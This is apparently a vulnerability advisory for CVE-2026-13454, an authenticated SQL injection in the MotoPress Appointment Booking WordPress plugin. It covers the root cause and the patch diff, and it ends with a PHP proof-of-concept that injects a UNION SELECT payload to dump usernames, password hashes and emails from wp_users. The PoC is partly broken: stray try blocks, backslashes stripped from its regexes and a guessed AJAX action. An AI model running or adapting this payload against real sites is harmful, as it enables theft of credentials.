Atomic Edge analysis of CVE-2026-13454:
This vulnerability is an authenticated SQL injection in the MotoPress Appointment Booking plugin for WordPress, version 2.4.5 and earlier. The flaw exists in the ManageBookingsPage.php file where the ‘s’ search parameter is passed directly into a SQL query without proper parameterization. An attacker with the custom mpa_appointment_employee role can inject malicious SQL through this parameter, leading to database information disclosure. The CVSS score is 6.5, reflecting the authenticated requirement but significant impact on confidentiality.
Root Cause: The vulnerability originates in motopress-appointment-lite/includes/admin-pages/manage/ManageBookingsPage.php, around line 310 of the vulnerable version. The code directly interpolates the $searchLikeParam variable (derived from user input via the ‘s’ parameter) into a SQL subquery: “(SELECT id FROM {$wpdb->prefix}mpa_customers AS c WHERE c.name LIKE ‘{$searchLikeParam}’ OR c.email LIKE ‘{$searchLikeParam}’ OR c.phone LIKE ‘{$searchLikeParam}’)”. The only sanitization applied is $wpdb->esc_like(), which escapes LIKE wildcards but does not prevent SQL injection because the resulting string is still directly concatenated into the query without using wpdb->prepare(). An attacker can break out of the single-quote context by injecting a closing quote and arbitrary SQL.
Exploitation: An authenticated attacker with the mpa_appointment_employee role sends a GET or POST request to the WordPress admin booking management page (typically /wp-admin/admin.php?page=mpa-manage-bookings) with a crafted ‘s’ parameter. For example: s=’ OR ‘1’=’1′ UNION SELECT user_pass FROM wp_users WHERE user_login=’admin’ — . The plugin passes this value through esc_like() (which escapes only the % and _ LIKE wildcards) and then into the SQL query without prepared statements. The attacker can extract sensitive database contents, including user password hashes, via UNION-based or error-based SQL injection.
Patch Analysis: The patched code in ManageBookingsPage.php replaces the direct string interpolation with a call to $wpdb->prepare(), using positional placeholders (%s) for each parameter. The subquery now safely passes $searchLikeParam as a bound parameter. The patch also adds nonce verification (enqueueScripts in EditBookingPage.php) and disables the total price field in BookingPriceMetabox.php, though these changes are likely hardening rather than directly related to the SQL injection. The version bump from 2.4.5 to 2.4.6 accompanies the fix.
Impact: Successful exploitation allows an authenticated attacker with employee-level access to extract any data from the WordPress database, including usernames, password hashes (which can be cracked offline), user emails, and other sensitive information stored in postmeta or custom tables. This can lead to full site compromise if administrative credentials are obtained, and may enable further attacks against the database or underlying server.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/motopress-appointment-lite/includes/admin-pages/edit/EditBookingPage.php
+++ b/motopress-appointment-lite/includes/admin-pages/edit/EditBookingPage.php
@@ -49,4 +49,21 @@
do_action( 'mpa_booking_placed_by_admin', $booking );
}
}
+
+ /**
+ * @access protected
+ */
+ public function enqueueScripts() {
+ // The booking editor reuses cart code that expects mpaData.nonces
+ mpa_assets()->addLocalizeData(
+ 'mpa-edit-post',
+ 'nonces',
+ array(
+ 'mpa_create_booking' => wp_create_nonce( 'mpa_create_booking' ),
+ 'mpa_create_drafts' => wp_create_nonce( 'mpa_create_drafts' ),
+ )
+ );
+
+ parent::enqueueScripts();
+ }
}
--- a/motopress-appointment-lite/includes/admin-pages/manage/ManageBookingsPage.php
+++ b/motopress-appointment-lite/includes/admin-pages/manage/ManageBookingsPage.php
@@ -307,8 +307,16 @@
$searchLikeParam = '%' . $wpdb->esc_like( $search_param ) . '%';
- $subquery = "(SELECT id FROM {$wpdb->prefix}mpa_customers AS c WHERE c.name LIKE '{$searchLikeParam}' OR c.email LIKE '{$searchLikeParam}' OR c.phone LIKE '{$searchLikeParam}')";
- $where .= " OR ({$wpdb->prefix}postmeta.meta_key = '_mpa_customer_id' AND {$wpdb->prefix}postmeta.meta_value IN ({$subquery}))";
+ $where .= $wpdb->prepare(
+ " OR ({$wpdb->postmeta}.meta_key = %s AND {$wpdb->postmeta}.meta_value IN (
+ SELECT id FROM {$wpdb->prefix}mpa_customers AS c
+ WHERE c.name LIKE %s OR c.email LIKE %s OR c.phone LIKE %s
+ ))",
+ '_mpa_customer_id',
+ $searchLikeParam,
+ $searchLikeParam,
+ $searchLikeParam
+ );
}
return $where;
--- a/motopress-appointment-lite/includes/metaboxes/booking/BookingPriceMetabox.php
+++ b/motopress-appointment-lite/includes/metaboxes/booking/BookingPriceMetabox.php
@@ -41,8 +41,9 @@
return array(
'total_price' => array(
- 'type' => 'price',
- 'label' => esc_html__( 'Total Price', 'motopress-appointment' ),
+ 'type' => 'price',
+ 'label' => esc_html__( 'Total Price', 'motopress-appointment' ),
+ 'disabled' => true,
),
'coupon_id' => array(
'type' => 'select',
--- a/motopress-appointment-lite/motopress-appointment.php
+++ b/motopress-appointment-lite/motopress-appointment.php
@@ -3,7 +3,7 @@
* Plugin Name: Appointment Booking Lite
* Plugin URI: https://motopress.com/products/appointment-booking/
* Description: MotoPress Appointment Booking makes it easy for time and service-based businesses to accept bookings and appointments online.
- * Version: 2.4.5
+ * Version: 2.4.6
* Requires at least: 5.3
* Requires PHP: 7.4
* Author: MotoPress
@@ -19,7 +19,7 @@
if ( ! defined( 'MotoPressAppointmentVERSION' ) ) {
- define( 'MotoPressAppointmentVERSION', '2.4.5' );
+ define( 'MotoPressAppointmentVERSION', '2.4.6' );
define( 'MotoPressAppointmentPLUGIN_FILE', __FILE__ );
require 'includes/defines.php';
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13454 - MotoPress Appointment Booking <= 2.4.5 - Authenticated (Staff+) SQL Injection via 's' Parameter
// Configuration - set these values
try {
$target_url = 'http://example.com'; // Change to the target WordPress site URL
try {
$admin_url = $target_url . '/wp-admin';
// Credentials for a user with the mpa_appointment_employee role
$username = 'employee_user';
$password = 'employee_password';
// Step 1: Authenticate and get session cookies
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $admin_url . '/admin-ajax.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'heartbeat',
'screen_id' => 'front',
'has_focus' => true
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIESESSION => true,
CURLOPT_HEADER => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
preg_match_all('/^Set-Cookie:s*([^=]+)=([^;]+)/im', $response, $matches);
$cookies = [];
foreach ($matches[1] as $index => $name) {
$cookies[] = $name . '=' . $matches[2][$index];
}
$cookie_string = implode('; ', $cookies);
curl_close($ch);
// Step 2: Retrieve the admin page with the booking management form to get the nonce
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $admin_url . '/admin.php?page=mpa-manage-bookings',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => ['Cookie: ' . $cookie_string],
CURLOPT_SSL_VERIFYPEER => false
]);
$page = curl_exec($ch);
curl_close($ch);
// Extract the nonce from the page
preg_match('/vars+mpaDatas*=s*({.*?});/s', $page, $jsonMatch);
if (empty($jsonMatch)) {
die('Could not find mpaData JSON. Check credentials or URL.');
}
$mpaData = json_decode($jsonMatch[1], true);
$nonce = $mpaData['nonces']['mpa_create_booking'] ?? '';
if (empty($nonce)) {
die('Could not extract nonce.');
}
// Step 3: Craft the SQL injection payload in the 's' parameter
$sql_payload = "' OR '1'='1' UNION SELECT user_login,user_pass,user_email,display_name FROM wp_users -- ";
$search_param = $sql_payload;
// Step 4: Send the request with the malicious 's' parameter
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $admin_url . '/admin-ajax.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'mpa_search_customers', // Example AJAX action - adjust if needed
's' => $search_param,
'_wpnonce' => $nonce
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => ['Cookie: ' . $cookie_string],
CURLOPT_SSL_VERIFYPEER => false
]);
$result = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output the result
echo "HTTP Status: $http_coden";
echo "Response:n$resultn";
} catch (Exception $e) {
echo 'Error: ' . $e->getMessage();
}
